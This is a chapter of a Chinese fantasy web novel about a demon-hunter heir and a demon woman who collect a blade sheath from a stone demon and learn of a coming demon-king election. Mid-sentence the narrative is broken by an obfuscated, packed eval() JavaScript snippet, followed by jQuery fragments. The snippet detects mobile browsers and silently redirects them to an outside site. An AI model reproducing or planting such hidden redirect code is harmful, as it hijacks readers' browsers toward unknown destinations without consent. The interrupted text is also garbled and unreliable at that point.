37. 剑鞘
作品:《离时月烛》 “你想和她合作?”
猜到一些缘由的越意商转而看向越向烛,后者点头承认了她的猜测。
“你们走吧。”越意商沉默良久,才给出了她的答复,“我不会帮你们,但同样,也无意阻止。”
她看上去已然是决意,无论越向烛再劝什么,都不会更改她的决定。
越意商坐回书案边,不愿意再说什么。
离开书房后的越向烛显然兴致不高,因为目的并没有达成,眼下不能得到越意商的支持,也不知族中有几人能听从他的安排。
“既然知道实力才能让你的族人折服,为何从前要藏锋呢?”楼心月忽然不太理解他的用意。
越向烛轻叹着苦笑了一声,“烬阳山庄是一个大家族,族中几千余人,尔虞我诈之事屡见不鲜。从前我曾见旁系一位同辈天资过人,甚至不逊于我二哥。然而某日因毒而经脉全废,经查后,才知竟是另一支旁系的手笔。”
“可你作为主家的公子,若是天赋过人,自然受到的保护也远胜于他。”
楼心月说的确实不错,若非如此,他的长姐和二哥也不会安然无恙地成长。
这只是其中一个原因,更重要的是:
他冷静地说出他藏去锋芒十余年最重要的原因:“我不想捉妖。”
饶是他假装无能那么些年,母亲还常常令他去捉妖。
越意商是不可能说动了,他只好收拾了东西,准备同她一起去取断虹刀的刀鞘。
去石妖洞的路上要经过好几个州,碰巧其中大多都是有妖族作乱之地,作为新任家主,越向烛也确实需要一点实绩来给自己作佐证。
在路上,楼心月问他准备如何处理此事,越向烛想了一阵,说道:“若仍是由烬阳全权处置,同从前也没有区别了,我认为,此事也需要你介入。”
但只是楼心月自己介入,只会将她置于妖族“叛徒”的处境中。
这个方法显然还是行不通。
她和他就像走入一个迷宫之中,暂时失去了方向,找不到出口。
他的提议被她驳回之后,楼心月想了一个权宜之计:妖族作乱一事必须尽快解决,否则无谓的伤亡将一直扩大下去,这样的情况无论是她或是越向烛都不想见到。与其纠结于该由哪一方来解决这些问题,不如先暂且将那些作乱的妖控制起来,之后再去作正式的处理。
事情敲定下来,在去往石妖洞的路上,凭借着他们过人的本事,那些作乱之妖几乎不出几招便败下阵来。
因为他们一路在解决这些事,所以抵达石妖洞的日子比预期要晚了几日。
在这几日的积累下,烬阳山庄分府的越家人,对于这个刚上任的年轻的越家家主的印象产生了翻天覆地的变化。
在主家,越向烛和越炎武的那场比试,看到的人只是越家人中稍有权力的那一部分,更多的普通越家子弟并不了解那场“毫无悬念”的比试的全部内容。
许多事还真得是亲眼看见才能作数。
越向烛的名声评价在越家内部直线上升,比他预想的还要顺利很多。
抵达石妖洞时,他在洞外犹豫了一阵,在想要不要进去。
石妖是妖,越向烛是捉妖世家的人,不知道究竟是因为他和它完全对立的身份紧紧束缚住了他的脚步,还是幼时看见的那副地狱般的景象至今仍然让他心存愧疚,无颜走进石妖洞。
楼心月看出他的挣扎,陪他在洞口待了一会儿,同样在思考这个问题。这场思考没有持续太久,楼心月伸手去拉他垂在身侧的手,他的右手指尖处还有着浅浅的伤痕印子。
在触碰到他凹凸不平的伤痕表面时,楼心月忽然明白了他为什么不使用一把具体的武器,而是使用鲜血和灵力来凝聚一把剑。
分明这种方式只会加剧烬阳之力对他的反噬,可他仍旧固执地使用这样一把虚幻的剑来面对对手。
他要自己铭记,烬阳人是踩着无数妖的尸骨才成长为如今这样规模庞大的捉妖世家。
他作为烬阳捉妖师出生便带着罪。
他用这种自虐的方式强迫自己尽量去体会那些妖的痛苦,用伤痕在心中也留一道痕迹。
越向烛就是生怕自己哪一日忘记幼时所见的地狱情景,才要他自己也痛苦。
保持痛苦是他能想到的避免麻木的最好方式。
她触碰到那些伤的手指情不自禁地微微颤抖,她的心竟也会为了一个人叹息。
下一刻,她紧紧握住了他的手,轻声、但又无比坚定地对着这个执着又纯真温厚的人说道:“我们一起。”
楼心月真的早应该明白的。
他拥有那么纯粹且不染尘埃的瞳眸,哪怕他最初时用了多少的计谋,又使了多少手段,仍旧不掩他最深处的本质。
石妖的洞并不深,比起虺山上玄婳的洞府要浅不少,他们才走没多久,便能感受到一股炽热的空气扑面而来。
见到它时,石妖还在往火炉子里扔柴,楼心月出声唤它,石妖才注意到来了客。
它先是看到了楼心月,这是它好朋友多夜带来的妖,替她打造的刀鞘在前几日才终于完工。
石妖刚扬起嘴角,准备把刀鞘递给她时,才看到站在她身旁的人类。
越向烛和它距离并不遥远,所以他想它是可以察觉到自己身上的烬阳气息的。
越向烛下意识扣紧了楼心月握着他的那只手,仿佛那里便是他的力量和信念的来源。
她立刻便发现了他微妙的紧张情绪,于是同样紧紧握住他的手,给他力量,给他信念。
石妖怎么会看不见他们十指相扣的双手,若是不出她的预料,它应该愤怒于楼心月作为妖的背叛,更厌恶这个不请自来的捉妖师。
但事实却并非如此,石妖露出有点意外的神情,但并未说什么,只是转身去取那柄打造好的刀鞘。
它一边拿起刀鞘,一边说道:“他是烬阳人吧。”
“是。”越向烛应道。
“叫什么名字?”
越向烛将名字告知于它,小心地观察着它的反应,而石妖只是淡淡地点了点头,接着将剑鞘递给楼心月,让她试试合不合适。
剑鞘很有些分量,摸上去那一瞬,她忽然感到体内升起一阵刺骨的寒意,想必是由某种极好的寒铁锻造而成,石妖当真是费了很多心思的。
她再次郑重地表达了自己的感激,若是它之后有事需要她来帮忙,尽管提便是。
石妖也不推辞,自然地接受了她的感谢之情。
在离开之前,楼心月最终还是说出了那个疑问:“你看起来并不讨厌烬阳人。”
“确实并不厌恶,但也谈不上好感,只是无意去干涉你们之间的关系。我不过是一个打铁的,能一直打造各种武器便是我唯一的追求,那些世事与我无关。”
听它说完后,楼心月默默感慨此妖实在洒脱,尽管它和自己的想法并不相同,她还是对它看待世间的角度表示理解。
楼心月将断虹装入刀鞘中,尺寸恰到好处,很是合适。
出了石妖洞后,连越向烛都忍不住夸赞这剑鞘打造得极为精巧,与她的刀十分适配。
他才刚说完,楼心月和他便听见一句熟悉的声音:
“那是自然。”
往前方一看,那声音的来源正是许久不见的多夜。
但此刻多夜看上去神采奕奕,与平时略显晦暗的神情大相径庭,甚至看上去都有些不太像多夜了。
果不其然,下一秒,“多夜”就连蹦带跳地来到他们面前,嬉笑着说:“猜猜我是谁!”
楼心月立刻无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469264|167463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奈地笑了笑,“少昼。”
而一旁的越向烛还处在困惑之中,他对多夜的印象便是稳重谨慎,但眼前这妖当真是多夜吗?性格似乎与从前的她完全不同。
他忽然想起东璘舟,这段时间忙碌,竟一直忘了安排人去将他送回去。
“东璘舟怎么样了?”
“我送他回定山州了。”少昼拍拍胸脯,“我做事,你放心。”
听她的语气,看来是多夜将东璘舟托付给少昼了。以及,这一回她竟没有对越向烛表达厌恶,多夜应该对她说了不少事情。
“我会来取刀鞘的事,也是多夜告诉你的?”
“不错。”她感叹道,“多夜说你们差不多这会儿一定会来石妖洞,便写下,让我将东璘舟送回去之后便来此地找你们。她还真是了解你啊。”
“对了,我来找你们还有一件更重要的事要说。”少昼忽然一改神情,变得严肃。
“何事?”
“元夕惜败于乱鸦屿之后便销声匿迹了,妖族内都猜测元夕是不是已经死了。所以,最近无论是兽妖还是别的草妖木妖等等都在讨论选举新妖王的事。”
选妖王一事给了楼心月灵感,之前她一直苦恼于如何处理那些在人间作乱的妖,但若是她在妖族拥有至高无上的地位,便有办法了。
唯有手握权力才会拥有话语权。
不仅仅是缓解妖与人之间的矛盾,还有彻底终结妖族内的鄙视链,让草木之妖不再受到兽族的欺辱。
“日子定在什么时候?”
“一个月后。”
“妖族中还有谁会竞争?”
“嗯……”少昼思考了一下,“收集情报不是我所擅长的诶,这事闹出来之前,我就苏醒过来了,多夜也没说。不过,我觉得除去你之外,妖族中似乎也没几个能竞争的。虺山那个蛇妖倒是有些可能,不过她好像对妖王的位置没什么兴趣。”
还有一个月的时间,楼心月的赢面无疑是整个妖族中最大的。
但她毫不松懈,仍旧继续修炼妖力,因为和越向烛待在一起的时间能助长她的力量,她便和越向烛一起一路解决人间动荡。
在乱鸦屿动乱一事之前,绝大多数的百姓是不知道妖的存在的,尽管有部分的妖欢喜隐居在城镇之中,但他们毕竟没有烬阳之力,看不出妖与人的区别。
眼下人间动荡,四起妖乱,上至老人下至幼童,无一不知妖的存在了。
楼心月和他所到的每一个地方,皆是人心惶惶,商铺都关了门,城中空空荡荡,能跑的都跑了,跑不掉的都躲在家里避灾。
不过那些妖的主要目标还是这些城镇中的越家人,所以基本没有造成黎民百姓的伤亡。
与此同时,越向烛的二哥也在四处解决纷乱,因为家主的吩咐,他不得不留下那些小妖的命,只是暂且囚禁起来,防止它们继续作乱。
不过这些都没有让楼心月去操心,她如今一心扑在修炼上,准备着一个月后的妖王选举。
在她修炼的期间,少昼百无聊赖地翻着几本书。楼心月瞧见了,便惊讶地说:“你怎么也看起书了?”
“多夜知道的多,便能多帮上些忙,我却不行。所以我准备也多了解一些事,说不准哪一日,你会需要呢。”
看着看着,少昼就开始打起长长的哈欠,楼心月运转一个周天之后,再睁眼,便看见少昼已经捧着书睡着了。
她笑着摇摇头,起身想给她披上一条毯子,才刚站起来,便感到丹田处一阵剧烈的钝痛,痛得她顿时失去重心,跌在地上。
她倒下去时正好碰倒了一边高花几上的花瓶,瓷器落到地上便发出了碎裂的响声,惊醒了打瞌睡的少昼。
她迷迷糊糊地睁眼,看见楼心月满脸痛楚地蜷缩在地上,立刻站起身奔向她。